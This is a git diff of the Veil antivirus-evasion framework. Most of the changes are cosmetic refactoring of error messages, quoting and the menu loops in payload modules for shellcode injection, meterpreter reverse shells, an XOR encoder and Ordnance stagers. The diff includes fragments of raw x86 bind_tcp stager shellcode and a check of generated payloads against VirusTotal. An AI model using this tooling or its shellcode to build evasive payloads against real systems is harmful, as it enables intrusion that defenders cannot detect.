a/tools/evasion/payloads/python/shellcode_inject/base64_substitution.py +++ b/tools/evasion/payloads/python/shellcode_inject/base64_substitution.py @@ -28,13 +28,13 @@ def __init__(self, cli_obj): self.path = "python/shellcode_inject/base64_substitution" self.shellcode = shellcode_help.Shellcode(cli_obj) self.cli_opts = cli_obj - self.payload_source_code = '' + self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: - self.payload_type = '' + self.payload_type = "" self.cli_shellcode = False # options we require user interaction for- format is {OPTION : [Value, Description]]} @@ -68,7 +68,7 @@ def generate(self): self.payload_type = self.shellcode.msfvenompayload elif self.shellcode.payload_choice: self.payload_type = self.shellcode.payload_choice - self.shellcode.payload_choice = '' + self.shellcode.payload_choice = "" # assume custom shellcode else: self.payload_type = 'custom' @@ -87,7 +87,7 @@ def generate(self): rand_virtual_protect = evasion_helpers.randomString() num_tabs_required = 0 - payload_code = '' + payload_code = "" payload_code, num_tabs_required = gamemaker.senecas_games(self) diff --git a/tools/evasion/payloads/python/shellcode_inject/des_encrypt.py b/tools/evasion/payloads/python/shellcode_inject/des_encrypt.py index 86946d6..cc17b94 100644 --- a/tools/evasion/payloads/python/shellcode_inject/des_encrypt.py +++ b/tools/evasion/payloads/python/shellcode_inject/des_encrypt.py @@ -28,13 +28,13 @@ def __init__(self, cli_obj): self.path = "python/shellcode_inject/des_encrypt" self.shellcode = shellcode_help.Shellcode(cli_obj) self.cli_opts = cli_obj - self.payload_source_code = '' + self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: - self.payload_type = '' + self.payload_type = "" self.cli_shellcode = False # options we require user interaction for- format is {OPTION : [Value, Description]]} @@ -77,7 +77,7 @@ def generate(self): self.payload_type = self.shellcode.msfvenompayload elif self.shellcode.payload_choice: self.payload_type = self.shellcode.payload_choice - self.shellcode.payload_choice = '' + self.shellcode.payload_choice = "" # assume custom shellcode else: self.payload_type = 'custom' diff --git a/tools/evasion/payloads/python/shellcode_inject/flat.py b/tools/evasion/payloads/python/shellcode_inject/flat.py index a63f53f..e9be4f1 100644 --- a/tools/evasion/payloads/python/shellcode_inject/flat.py +++ b/tools/evasion/payloads/python/shellcode_inject/flat.py @@ -34,13 +34,13 @@ def __init__(self, cli_obj): self.path = "python/shellcode_inject/flat" self.shellcode = shellcode_help.Shellcode(cli_obj) self.cli_opts = cli_obj - self.payload_source_code = '' + self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: - self.payload_type = '' + self.payload_type = "" self.cli_shellcode = False # options we require user interaction for- format is {OPTION : [Value, Description]]} @@ -81,7 +81,7 @@ def generate(self): self.payload_type = self.shellcode.msfvenompayload elif self.shellcode.payload_choice: self.payload_type = self.shellcode.payload_choice - self.shellcode.payload_choice = '' + self.shellcode.payload_choice = "" # assume custom shellcode else: self.payload_type = 'custom' diff --git a/tools/evasion/payloads/python/shellcode_inject/letter_substitution.py b/tools/evasion/payloads/python/shellcode_inject/letter_substitution.py index 6396967..8a30402 100644 --- a/tools/evasion/payloads/python/shellcode_inject/letter_substitution.py +++ b/tools/evasion/payloads/python/shellcode_inject/letter_substitution.py @@ -34,13 +34,13 @@ def __init__(self, cli_obj): self.path = "python/shellcode_inject/letter_substitution" self.shellcode = shellcode_help.Shellcode(cli_obj) self.cli_opts = cli_obj - self.payload_source_code = '' + self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: - self.payload_type = '' + self.payload_type = "" self.cli_shellcode = False # options we require user interaction for- format is {OPTION : [Value, Description]]} @@ -88,7 +88,7 @@ def generate(self): self.payload_type = self.shellcode.msfvenompayload elif self.shellcode.payload_choice: self.payload_type = self.shellcode.payload_choice - self.shellcode.payload_choice = '' + self.shellcode.payload_choice = "" # assume custom shellcode else: self.payload_type = 'custom' diff --git a/tools/evasion/payloads/python/shellcode_inject/pidinject.py b/tools/evasion/payloads/python/shellcode_inject/pidinject.py index ebcfdb0..4282306 100644 --- a/tools/evasion/payloads/python/shellcode_inject/pidinject.py +++ b/tools/evasion/payloads/python/shellcode_inject/pidinject.py @@ -30,13 +30,13 @@ def __init__(self, cli_obj): self.path = "python/shellcode_inject/pidinject" self.shellcode = shellcode_help.Shellcode(cli_obj) self.cli_opts = cli_obj - self.payload_source_code = '' + self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: - self.payload_type = '' + self.payload_type = "" self.cli_shellcode = False # options we require user interaction for- format is {OPTION : [Value, Description]]} @@ -73,7 +73,7 @@ def generate(self): self.payload_type = self.shellcode.msfvenompayload elif self.shellcode.payload_choice: self.payload_type = self.shellcode.payload_choice - self.shellcode.payload_choice = '' + self.shellcode.payload_choice = "" # assume custom shellcode else: self.payload_type = 'custom' diff --git a/tools/evasion/payloads/python/shellcode_inject/stallion.py b/tools/evasion/payloads/python/shellcode_inject/stallion.py index dc00f54..26ca84f 100644 --- a/tools/evasion/payloads/python/shellcode_inject/stallion.py +++ b/tools/evasion/payloads/python/shellcode_inject/stallion.py @@ -32,13 +32,13 @@ def __init__(self, cli_obj): self.path = "python/shellcode_inject/stallion" self.cli_opts = cli_obj self.shellcode = shellcode_help.Shellcode(cli_obj) - self.payload_source_code = '' + self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: - self.payload_type = '' + self.payload_type = "" self.cli_shellcode = False # options we require user interaction for- format is {OPTION : [Value, Description]]} @@ -88,7 +88,7 @@ def generate(self): self.payload_type = self.shellcode.msfvenompayload elif self.shellcode.payload_choice: self.payload_type = self.shellcode.payload_choice - self.shellcode.payload_choice = '' + self.shellcode.payload_choice = "" # assume custom shellcode else: self.payload_type = 'custom' diff --git a/tools/evasion/payloads/ruby/meterpreter/rev_http.py b/tools/evasion/payloads/ruby/meterpreter/rev_http.py index 1ea80a5..748838d 100644 --- a/tools/evasion/payloads/ruby/meterpreter/rev_http.py +++ b/tools/evasion/payloads/ruby/meterpreter/rev_http.py @@ -28,7 +28,7 @@ def __init__(self, cli_obj): elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: - self.payload_type = '' + self.payload_type = "" self.cli_shellcode = False # options we require user ineraction for- format is {Option : [Value, Description]]} diff --git a/tools/evasion/payloads/ruby/meterpreter/rev_https.py b/tools/evasion/payloads/ruby/meterpreter/rev_https.py index 4d9e61d..39ccfeb 100644 --- a/tools/evasion/payloads/ruby/meterpreter/rev_https.py +++ b/tools/evasion/payloads/ruby/meterpreter/rev_https.py @@ -29,7 +29,7 @@ def __init__(self, cli_obj): elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: - self.payload_type = '' + self.payload_type = "" self.cli_shellcode = False # options we require user ineraction for- format is {Option : [Value, Description]]} @@ -45,7 +45,7 @@ def __init__(self, cli_obj): } def generate(self): - payload_code = '' + payload_code = "" payload_code = "require 'rubygems';require 'uri';require 'win32/api';require 'net/https';require 'openssl';include Win32\n" # Add logic for adding this line, stupid bug and I have no idea diff --git a/tools/evasion/payloads/ruby/meterpreter/rev_tcp.py b/tools/evasion/payloads/ruby/meterpreter/rev_tcp.py index 9357b10..5ee2597 100644 --- a/tools/evasion/payloads/ruby/meterpreter/rev_tcp.py +++ b/tools/evasion/payloads/ruby/meterpreter/rev_tcp.py @@ -28,7 +28,7 @@ def __init__(self, cli_obj): elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: - self.payload_type = '' + self.payload_type = "" self.cli_shellcode = False # options we require user ineraction for- format is {Option : [Value, Description]]} diff --git a/tools/evasion/payloads/ruby/shellcode_inject/base64.py b/tools/evasion/payloads/ruby/shellcode_inject/base64.py index 382082d..249fd86 100644 --- a/tools/evasion/payloads/ruby/shellcode_inject/base64.py +++ b/tools/evasion/payloads/ruby/shellcode_inject/base64.py @@ -24,13 +24,13 @@ def __init__(self, cli_obj): self.path = "ruby/shellcode_inject/base64" self.cli_opts = cli_obj self.shellcode = shellcode_help.Shellcode(cli_obj) - self.payload_source_code = '' + self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: - self.payload_type = '' + self.payload_type = "" self.cli_shellcode = False # options we require user ineraction for- format is {Option : [Value, Description]]} @@ -48,7 +48,7 @@ def generate(self): # How I'm tracking the number of nested tabs needed # to make the payload num_ends_required = 0 - payload_code = '' + payload_code = "" # randomly generate out variable names payloadName = evasion_helpers.randomString() @@ -74,7 +74,7 @@ def generate(self): self.payload_type = self.shellcode.msfvenompayload elif self.shellcode.payload_choice: self.payload_type = self.shellcode.payload_choice - self.shellcode.payload_choice = '' + self.shellcode.payload_choice = "" # assume custom shellcode else: self.payload_type = 'custom' diff --git a/tools/evasion/payloads/ruby/shellcode_inject/flat.py b/tools/evasion/payloads/ruby/shellcode_inject/flat.py index 0e01df5..3722978 100644 --- a/tools/evasion/payloads/ruby/shellcode_inject/flat.py +++ b/tools/evasion/payloads/ruby/shellcode_inject/flat.py @@ -21,13 +21,13 @@ def __init__(self, cli_obj): self.path = "ruby/shellcode_inject/flat" self.cli_opts = cli_obj self.shellcode = shellcode_help.Shellcode(cli_obj) - self.payload_source_code = '' + self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: - self.payload_type = '' + self.payload_type = "" self.cli_shellcode = False # options we require user ineraction for- format is {Option : [Value, Description]]} @@ -63,7 +63,7 @@ def generate(self): self.payload_type = self.shellcode.msfvenompayload elif self.shellcode.payload_choice: self.payload_type = self.shellcode.payload_choice - self.shellcode.payload_choice = '' + self.shellcode.payload_choice = "" # assume custom shellcode else: self.payload_type = 'custom' diff --git a/tools/evasion/tool.py b/tools/evasion/tool.py index 2c8edad..6d5ab8b 100644 --- a/tools/evasion/tool.py +++ b/tools/evasion/tool.py @@ -20,13 +20,12 @@ try: sys.path.append("/etc/veil/") import settings - except ImportError: - print("\n [!] ERROR #1: Run %s\n" % (os.path.abspath("./config/update-config.py"))) + print( "\n [!] ERROR #1-1: Can't import /etc/veil/settings.py. Run: %s\n" % ( os.path.abspath( "./config/update-config.py" ) ) ) sys.exit() -sys.path.insert(0, settings.VEIL_EVASION_PATH + 'tools/ordnance') +sys.path.insert(0, settings.VEIL_PATH + 'tools/ordnance') import tool as ordnance_import @@ -41,32 +40,32 @@ def __init__(self, cli_options=None): self.load_payloads(cli_options) self.command_options = cli_options self.evasion_main_menu_commands = { - "list" : "List available payloads", - "use" : "Use a specific payload", - "info" : "Information on a specific payload", - "exit" : "Exit Veil", - "back" : "Go to main Veil menu", - "clean" : "Remove generated artifacts", - "checkvt": "Check VirusTotal against generated hashes"} - self.final_shellcode = '' + "list": "List available payloads", + "use": "Use a specific payload", + "info": "Information on a specific payload", + "exit": "Completely exit Veil", + "back": "Go to Veil's main menu", + "clean": "Remove generated artifacts", + "checkvt": "Check VirusTotal.com against generated hashes"} + self.final_shellcode = "" self.payload_option_commands = { "set": "Set shellcode option", "generate": "Generate the payload", - "back": "Go back", + "back": "Go back to Veil-Evasion", "exit": "Completely exit Veil", "options": "Show the shellcode's options" } def check_vt(self, interactive=True): """ - Checks payload hashes in veil-output/hashes.txt vs VirusTotal + Checks payload hashes in veil-output/hashes.txt vs VirusTotal.com """ # Command for in-menu vt-notify check against hashes within hash file # It's only triggered if selected in menu and file isn't empty try: if os.stat(settings.HASH_LIST)[6] != 0: - checkVTcommand = settings.VEIL_EVASION_PATH + "tools/evasion/scripts/vt-notify/vt-notify.rb -f " + settings.HASH_LIST + " -i 0" + checkVTcommand = settings.VEIL_PATH + "tools/evasion/scripts/vt-notify/vt-notify.rb -f " + settings.HASH_LIST + " -i 0" print(helpers.color("\n [*] Checking Virus Total for payload hashes...\n")) checkVTout = subprocess.check_output(checkVTcommand, shell=True) checkVTout = checkVTout.decode('ascii') @@ -79,7 +78,7 @@ def check_vt(self, interactive=True): print(helpers.color(" [!] File %s with hash %s found!" % (filename, filehash), warning=True)) found = True if found is False: - print(" [*] No payloads found on VirusTotal!") + print(" [*] No payloads found on VirusTotal.com!") input("\n [>] Press any key to continue...") @@ -88,7 +87,7 @@ def check_vt(self, interactive=True): input("\n [>] Press any key to continue...") except OSError: - print(helpers.color("\n [!] Error: hash list %s not found" % (settings.HASH_LIST), warning=True)) + print(helpers.color("\n [!] ERROR: hash list %s not found" % (settings.HASH_LIST), warning=True)) input("\n [>] Press any key to continue...") return @@ -99,9 +98,9 @@ def clean_artifacts(self, interactive=True): # prompt for confirmation if we're in the interactive menu if interactive: - choice = input("\n [>] Are you sure you want to clean payload folders? [y/N] ") + choice = input("\n [>] Are you sure you want to clean payload folders? [y/N] ").strip().lower() - if choice.lower() == "y": + if choice.startswith('y'): helpers.clean_payloads() choice = input("\n [>] Folders cleaned, press any enter to return to the main menu.") @@ -127,34 +126,42 @@ def clean_artifacts(self, interactive=True): return def cli_menu(self, invoked=False): + evasion_helpers.title_screen() + + # --list-payloads if self.command_options.list_payloads: self.list_loaded_payloads() + sys.exit() - # check if a payload is provided, and if so, start the generation + # Check if a payload is provided, and if so, start the generation # process - elif self.command_options.p: + # Missing -p ? + if not self.command_options.p: + print(helpers.color(" [!] ERROR: Missing --payload selection (-p ). Try: -t Evasion --list-payloads", warning=True)) + else: user_cli_payload = self.return_payload_object(self.command_options.p) if not user_cli_payload: - print(helpers.color("[*] Error: You did not provide a valid payload selection!", warning=True)) - print(helpers.color("[*] Ex: info 2 or info lua/shellcode_inject/flat.py", warning=True)) + print(helpers.color(" [!] ERROR: You did not provide a valid payload selection!", warning=True)) + print(helpers.color(" [*] Ex: info 2 OR info lua/shellcode_inject/flat.py", warning=True)) sys.exit() if self.command_options.ip is None and ("meterpreter" in user_cli_payload.path or "shellcode_inject" in user_cli_payload.path): - print(helpers.color("[*] Error: You did not provide an IP/domain to connect to/bind on", warning=True)) + print(helpers.color(" [!] ERROR: You did not provide an IP/domain to connect to/bind on", warning=True)) sys.exit() # Make sure IP is valid + # --ip if self.command_options.ip is not None: valid_ip = helpers.validate_ip(self.command_options.ip) valid_hostname = helpers.validate_hostname(self.command_options.ip) if not valid_ip and not valid_hostname: - print(helpers.color("[*] Error: You did not provide a valid ip/domain!", warning=True)) + print(helpers.color(" [!] ERROR: You did not provide a valid ip/domain!", warning=True)) print(helpers.color("[*] Please specify the correct value", warning=True)) sys.exit() # Determine if using Ordnance or MSFVenom for shellcode generation if self.command_options.ordnance_payload is None and self.command_options.msfvenom is None and "meterpreter" not in user_cli_payload.path: - print(helpers.color("[*] Error: You did not provide a shellcode option to use!", warning=True)) + print(helpers.color(" [!] ERROR: You did not provide a shellcode option to use!", warning=True)) sys.exit() # Check if using a pure payload (shellcodeless) @@ -184,6 +191,7 @@ def cli_menu(self, invoked=False): user_cli_payload.cli_shellcode = cli_shellcode # Loop over setting required options + # -c if self.command_options.c is not None: for payload_option in self.command_options.c: if payload_option is not '': @@ -205,7 +213,6 @@ def cli_menu(self, invoked=False): # figure out how to compile the code outfile.compiler(user_cli_payload, invoked=True, cli_object=self.command_options) - return def display_payload_options(self, selected_pload, showTitle=True): @@ -222,6 +229,7 @@ def invoked_tool_menu(self, callback_config=None): def list_loaded_payloads(self): print(helpers.color("\n [*] Available Payloads:\n")) + lastBase = None x = 1 for name in sorted(self.active_payloads.keys()): @@ -229,7 +237,9 @@ def list_loaded_payloads(self): if lastBase and parts[0] != lastBase: print() lastBase = parts[0] + print("\t%s)\t%s" % (x, '{0: <24}'.format(name))) + x += 1 print("\n") return @@ -246,7 +256,7 @@ def load_payloads(self, cli_args): def print_options_screen(self, pload_object): print() print("Payload: " + helpers.color(pload_object.path) + " selected\n") - print(helpers.color("Required Options:\n")) + print(helpers.color(" Required Options:\n")) print('{0: <16}'.format('Name') + '\t' + '{0: <8}'.format('Value') + '\t' + '{0: <8}'.format('Description')) print('{0: <16}'.format('----') + '\t' + '{0: <8}'.format('-----') + '\t' + '{0: <8}'.format('-----------')) for opt_name in sorted(pload_object.required_options.keys()): @@ -262,7 +272,7 @@ def payload_info(self, payload_obj, showTitle=True, showInfo=True): showInfo = whether to show the payload information bit """ - print(helpers.color(" Payload information:\n")) + print(helpers.color(" Payload Information:\n")) print("\tName:\t\t" + payload_obj.name) print("\tLanguage:\t" + payload_obj.language) print("\tRating:\t\t" + payload_obj.rating) @@ -283,7 +293,7 @@ def return_payload_object(self, user_selection): if int(user_selection) == counter_value: return payload_module else: - if user_selection.lower().strip() == payload_path: + if user_selection.strip().lower() == payload_path: return payload_module # Iterate counter for number based selection @@ -293,9 +303,9 @@ def return_payload_object(self, user_selection): def tool_main_menu(self): # This is the main function where everything is called from # Iterate over payloads and find the user selected payload module - evasion_main_command = '' + evasion_main_command = "" show_evasion_menu = True - while evasion_main_command == '': + while True: # set out tab completion for the appropriate modules on each run # as other modules sometimes reset this @@ -312,83 +322,60 @@ def tool_main_menu(self): for command in sorted(self.evasion_main_menu_commands.keys()): print("\t" + helpers.color(command) + '\t\t\t' + self.evasion_main_menu_commands[command]) print() - show_evasion_menu = True + show_evasion_menu = False - evasion_main_command = input('Veil-Evasion command: ').strip() + evasion_main_command = input('Veil/Evasion>: ').strip().lower() - if evasion_main_command.lower() == "back": - evasion_main_command = '' + if evasion_main_command.startswith("back") or evasion_main_command.startswith("main") or evasion_main_command.startswith("menu"): break - elif evasion_main_command.lower() == "checkvt": + elif evasion_main_command.startswith("checkvt"): self.check_vt() - evasion_main_command = '' - elif evasion_main_command.lower() == "clean": + elif evasion_main_command.startswith("clean"): self.clean_artifacts() - evasion_main_command = '' - elif evasion_main_command.lower() == "exit": + elif evasion_main_command.startswith("exit") or evasion_main_command.startswith("quit"): sys.exit(0) - elif evasion_main_command.lower().startswith('info'): + elif evasion_main_command.startswith('info'): if len(evasion_main_command.split()) == 2: payload_selected = evasion_main_command.split()[1] selected_payload_module = self.return_payload_object(payload_selected) if not selected_payload_module: print() - print(helpers.color("[*] Error: You did not provide a valid payload selection!", warning=True)) - print(helpers.color("[*] Ex: info 2 or info lua/shellcode_inject/flat.py", warning=True)) + print(helpers.color(" [!] ERROR: You did not provide a valid payload selection!", warning=True)) + print(helpers.color(" [*] Ex: info 2 OR info lua/shellcode_inject/flat.py", warning=True)) print() - evasion_main_command = '' - show_evasion_menu = False else: self.print_options_screen(selected_payload_module) - evasion_main_command = '' - show_evasion_menu = False - else: print() - print(helpers.color("[*] Error: You did not provide a valid payload selection!", warning=True)) - print(helpers.color("[*] Ex: info 2 or info lua/shellcode_inject/flat.py", warning=True)) + print(helpers.color(" [!] ERROR: You did not provide a valid payload selection!", warning=True)) + print(helpers.color(" [*] Ex: info 2 OR info lua/shellcode_inject/flat.py", warning=True)) print() - evasion_main_command = '' - show_evasion_menu = False - - elif evasion_main_command.lower().startswith('list'): + elif evasion_main_command.startswith('list'): evasion_helpers.title_screen() self.list_loaded_payloads() - show_evasion_menu = False - print() - evasion_main_command = '' - elif evasion_main_command.lower().startswith('use'): + elif evasion_main_command.startswith('use'): if len(evasion_main_command.split()) == 2: - payload_selected = evasion_main_command.split()[1] + payload_selected = evasion_main_command.split()[1].lower() selected_payload_module = self.return_payload_object(payload_selected) if not selected_payload_module: print() - print(helpers.color("[*] Error: You did not provide a valid payload selection!", warning=True)) - print(helpers.color("[*] Ex: info 2 or info lua/shellcode_inject/flat.py", warning=True)) + print(helpers.color(" [!] ERROR: You did not provide a valid payload selection!", warning=True)) + print(helpers.color(" [*] Ex: use 2 OR use lua/shellcode_inject/flat.py", warning=True)) print() - evasion_main_command = '' - show_evasion_menu = False else: self.use_payload(selected_payload_module) - evasion_main_command = '' show_evasion_menu = True - else: print() - print(helpers.color("[*] Error: You did not provide a valid payload selection!", warning=True)) - print(helpers.color("[*] Ex: use 2 or use lua/shellcode_inject/flat.py", warning=True)) + print(helpers.color(" [!] ERROR: You did not provide a valid payload selection!", warning=True)) + print(helpers.color(" [*] Ex: use 2 OR use lua/shellcode_inject/flat.py", warning=True)) print() - evasion_main_command = '' - show_evasion_menu = False - - else: - evasion_main_command = '' return def use_payload(self, selected_payload): @@ -400,40 +387,34 @@ def use_payload(self, selected_payload): self.display_payload_options(selected_payload) - payload_options_cmd = "" + payload_options_command = "" evasion_helpers.print_dict_message(self.payload_option_commands, show_title=False) while True: - payload_options_cmd = input("\n[" + selected_payload.path + ">>] ").strip() + payload_options_command = input("[" + selected_payload.path + ">>]: ").strip().lower() - if payload_options_cmd.lower() == "back" or payload_options_cmd.lower() == "main": - payload_options_cmd = "" + if payload_options_command.startswith("back") or payload_options_command.startswith("main") or payload_options_command.startswith("menu"): break - elif payload_options_cmd.lower() == "generate": + elif payload_options_command.startswith("gen") or payload_options_command.startswith("run"): # Checking for Ruby specific payloads because of dumbass sleep check if selected_payload.language == 'ruby' and selected_payload.required_options["SLEEP"][0] != "X" and selected_payload.required_options["USERNAME"][0] == "X" and selected_payload.required_options["DOMAIN"][0] == "X" and selected_payload.required_options["HOSTNAME"][0] == "X": print(helpers.color("[*] If using SLEEP check with Ruby, you must also provide an additional check (like HOSTNAME)!", warning=True)) - payload_options_cmd = "" else: selected_payload.generate() - if not outfile.compiler(selected_payload): - payload_options_cmd = "" - else: - payload_options_cmd = "" + if outfile.compiler(selected_payload): break - elif payload_options_cmd.lower() == "exit": + elif payload_options_command.startswith("exit") or payload_options_command.startswith("quit"): sys.exit(0) - elif payload_options_cmd.lower() == "help" or payload_options_cmd.lower() == "options": + elif payload_options_command.startswith("help") or payload_options_command.startswith("option"): self.print_options_screen(selected_payload) evasion_helpers.print_dict_message(self.payload_option_commands, show_title=False) - payload_options_cmd = "" - elif payload_options_cmd.lower().startswith("set"): - if len(payload_options_cmd.split()) == 3: - set_command, key, value = payload_options_cmd.split() + elif payload_options_command.startswith("set"): + if len(payload_options_command.split()) == 3: + set_command, key, value = payload_options_command.split() # Make sure it is uppercase key = key.upper() if key in selected_payload.required_options: @@ -443,38 +424,29 @@ def use_payload(self, selected_payload): selected_payload.required_options[key][0] = value else: print() - print(helpers.color("[*] Error: You did not provide a valid IP!", warning=True)) + print(helpers.color(" [!] ERROR: You did not provide a valid IP!", warning=True)) print() - payload_options_cmd = '' # Validate LPORT elif key is "LPORT": if helpers.validate_port(value): selected_payload.required_options[key][0] = value else: print() - print(helpers.color("[*] Error: You did not provide a valid port number!", warning=True)) + print(helpers.color(" [!] ERROR: You did not provide a valid port number!", warning=True)) print() - payload_options_cmd = '' else: # Set other options selected_payload.required_options[key][0] = value else: print() - print(helpers.color("[*] Error: You did not provide a valid option!", warning=True)) - print(helpers.color("[*] Ex: set LHOST 8.8.8.8", warning=True)) + print(helpers.color(" [!] ERROR: You did not provide a valid option!", warning=True)) + print(helpers.color(" [*] Ex: set LHOST 8.8.8.8", warning=True)) print() else: print() - print(helpers.color("[*] Error: You did not provide a valid amount of arguments!", warning=True)) - print(helpers.color("[*] Ex: set DOMAIN christest.com", warning=True)) + print(helpers.color(" [!] ERROR: You did not provide a valid amount of arguments!", warning=True)) + print(helpers.color(" [*] Ex: set DOMAIN christest.com", warning=True)) print() - payload_options_cmd = '' - - else: - # Not a real command - evasion_helpers.print_dict_message(self.payload_option_commands) - payload_options_cmd = "" - return diff --git a/tools/ordnance/encoders/xor.py b/tools/ordnance/encoders/xor.py index e443b11..25cc4f7 100644 --- a/tools/ordnance/encoders/xor.py +++ b/tools/ordnance/encoders/xor.py @@ -93,7 +93,7 @@ def encode_routine(self, incoming_payload): # Ensure a key was found... if not, error out if self.xor_key == 0x00: - print("[*] ERROR: No key found... Stop being so picky and change your bad chars!") + print(" [!] ERROR: No key found... Stop being so picky and change your bad chars!") exit else: # XOR all the things @@ -149,8 +149,8 @@ def set_bad_characters(self, payload_obj): # Do some validation on the received characters for item in bad_characters: if item in self.encoder_bad_chars: - print(helpers.color("[*] Encoder Error: Bad character specified is used for the decoder stub.", warning=True)) - print(helpers.color("[*] Encoder Error: Please use different bad characters or another encoder!", warning=True)) + print(helpers.color(" [!] ERROR: Encoder - Bad character specified is used for the decoder stub.", warning=True)) + print(helpers.color(" [!] ERROR: Encoder - Please use different bad characters or another encoder!", warning=True)) sys.exit() else: if len(item) == 2: @@ -160,13 +160,17 @@ def set_bad_characters(self, payload_obj): if rohan_re_code.match(item): final_bad_chars.append(item) else: - print(helpers.color("[*] Bad Character Error: Invalid bad character detected.", warning=True)) - print(helpers.color("[*] Bad Character Error: Please provide bad characters in \\\\x00\\\\x02... format.", warning=True)) - sys.exit() + print() + print(helpers.color(" [!] ERROR: Bad Character - #1: Invalid bad character detected.", warning=True)) + print(helpers.color(" [!] ERROR: Bad Character - Please provide bad characters in \\x00\\x02... format.", warning=True)) + print() + return else: - print(helpers.color("[*] Bad Character Error: Invalid bad character detected.", warning=True)) - print(helpers.color("[*] Bad Character Error: Please provide bad characters in \\\\x00\\\\x01... format.", warning=True)) - sys.exit() + print() + print(helpers.color(" [!] ERROR: Bad Character - #2: Invalid bad character detected.", warning=True)) + print(helpers.color(" [!] ERROR: Bad Character - Please provide bad characters in \\x00\\x01... format.", warning=True)) + print() + return self.bad_chars = [int("0x" + x, 16) for x in final_bad_chars] return @@ -191,7 +195,7 @@ def all_the_stats(self, parsed_cli_object): print("IP Address: " + parsed_cli_object.ip) print("Port: " + str(parsed_cli_object.port)) print("Encoder Name: " + self.name) - string_bad_chars = '' + string_bad_chars = "" for bchar in self.bad_chars: string_bad_chars += str(hex(bchar)) + " " print("Bad Character(s): " + string_bad_chars) diff --git a/tools/ordnance/ordnance_common/ordnance_helpers.py b/tools/ordnance/ordnance_common/ordnance_helpers.py index f1f4d34..35dc2f7 100644 --- a/tools/ordnance/ordnance_common/ordnance_helpers.py +++ b/tools/ordnance/ordnance_common/ordnance_helpers.py @@ -8,8 +8,17 @@ import socket import string import struct +import sys from lib.common import helpers +# Try to find and import the settings.py config file +try: + sys.path.append("/etc/veil/") + import settings +except ImportError: + print( "\n [!] ERROR #1-9: Can't import /etc/veil/settings.py. Run: %s\n" % ( os.path.abspath( "./config/update-config.py" ) ) ) + sys.exit() + def check_lhost(lhost_value): if validate_ip(lhost_value): @@ -66,7 +75,9 @@ def title_screen(): """ Print the framework title, with version. """ - os.system('clear') + if settings.TERMINAL_CLEAR != "false": + os.system('clear') + print('=' * 79) print(' ' * 35 + helpers.color('Veil-Ordnance', status=False, bold=True)) print('=' * 79) diff --git a/tools/ordnance/ordnance_common/payload_options.py b/tools/ordnance/ordnance_common/payload_options.py index 0d61e3a..7362722 100644 --- a/tools/ordnance/ordnance_common/payload_options.py +++ b/tools/ordnance/ordnance_common/payload_options.py @@ -5,7 +5,7 @@ class Payload_Details: def __init__(self): - self.payload = '' - self.lhost = '' - self.lport = '' - self.bad_chars = '' + self.payload = "" + self.lhost = "" + self.lport = "" + self.bad_chars = "" diff --git a/tools/ordnance/payloads/x86/bind_tcp.py b/tools/ordnance/payloads/x86/bind_tcp.py index b69ddbf..f8251e4 100644 --- a/tools/ordnance/payloads/x86/bind_tcp.py +++ b/tools/ordnance/payloads/x86/bind_tcp.py @@ -17,7 +17,7 @@ def __init__(self, cli_arguments): self.platform = "Windows" self.arch = "x86" self.port_offset = 197 - self.customized_shellcode = '' + self.customized_shellcode = "" self.stager = ( b"\xFC\xE8\x86\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + b"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" + @@ -41,7 +41,7 @@ def __init__(self, cli_arguments): self.required_options = { "LPORT": ["", "LPORT value"], "Encoder": ["None", "Optional: Encoder to use when avoiding bad characters"], - "BadChars": ["X", "Optional: Bad characters to avoid"], + "BadChars": ["\\x00", "Optional: Bad characters to avoid"], "RHOST": ["", "RHOST value"] } @@ -97,8 +97,8 @@ def print_shellcode(self): return def payload_stats(self): - print("Payload Name: " + helpers.color(self.name)) - print("Port: " + helpers.color(str(self.required_options['LPORT'][0]))) - print("Shellcode Size: " + helpers.color(str(len(self.customized_shellcode) / 4).rstrip('.0') + '\n')) + print(" [*] Payload Name: " + helpers.color(self.name)) + print(" [*] Port: " + helpers.color(str(self.required_options['LPORT'][0]))) + print(" [*] Shellcode Size: " + helpers.color(str(len(self.customized_shellcode) / 4).rstrip('.0') + '\n')) print(self.customized_shellcode) return diff --git a/tools/ordnance/payloads/x86/rev_http.py b/tools/ordnance/payloads/x86/rev_http.py index a18ba6b..a66b53d 100644 --- a/tools/ordnance/payloads/x86/rev_http.py +++ b/tools/ordnance/payloads/x86/rev_http.py @@ -22,7 +22,7 @@ def __init__(self, cli_arguments): self.lport_offset = 180 # This is actually going to be little endian self.uri_offset = 252 self.exit_func = '\xf0\xb5\xa2\x56' - self.customized_shellcode = '' + self.customized_shellcode = "" # The \x5c and \x11 are overwritten by the lport value self.stager = ( 